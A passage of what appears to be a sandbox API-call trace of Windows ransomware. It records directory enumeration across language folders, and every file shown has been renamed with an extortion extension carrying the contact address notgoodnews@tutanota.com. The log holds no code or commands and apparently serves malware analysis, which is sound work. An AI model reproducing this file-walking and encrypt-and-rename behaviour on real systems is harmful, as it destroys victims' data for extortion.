ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.458] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x391e9ef8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.459] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.459] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.459] FindClose (in: hFindFile=0x484758 | out: hFindFile=0x484758) returned 1 [0157.460] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.460] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0157.460] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.460] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.462] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.462] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392a8bcf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392a8bcf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392a8bcf, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.462] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392a8bcf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392a8bcf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.462] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39805f41, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39805f41, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.462] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39805f41, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39805f41, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.462] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.463] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.463] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0157.463] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.463] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.465] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.465] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392ced5f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x394e4f30, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.465] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x394e4f30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x394e4f30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x394e4f30, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.465] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3982c17b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3982c17b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.465] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3982c17b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3982c17b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.466] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.466] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0157.466] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.466] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.468] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.468] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3950d788, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3950d788, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3950d788, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.468] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3953138c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3953138c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399837b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.468] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39852453, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.468] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39852453, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.468] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.469] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.469] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0157.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.469] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.471] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.471] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395575c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395575c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395575c9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.471] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395575c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395575c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3957d995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.471] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c20480, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.471] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c20480, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.471] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.472] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.472] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0157.472] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.472] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.474] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.474] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3957d995, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3957d995, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.474] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395a3fec, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395a3fec, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395a3fec, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.474] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.474] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.474] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.475] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.475] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0157.475] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.475] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.478] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.478] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, 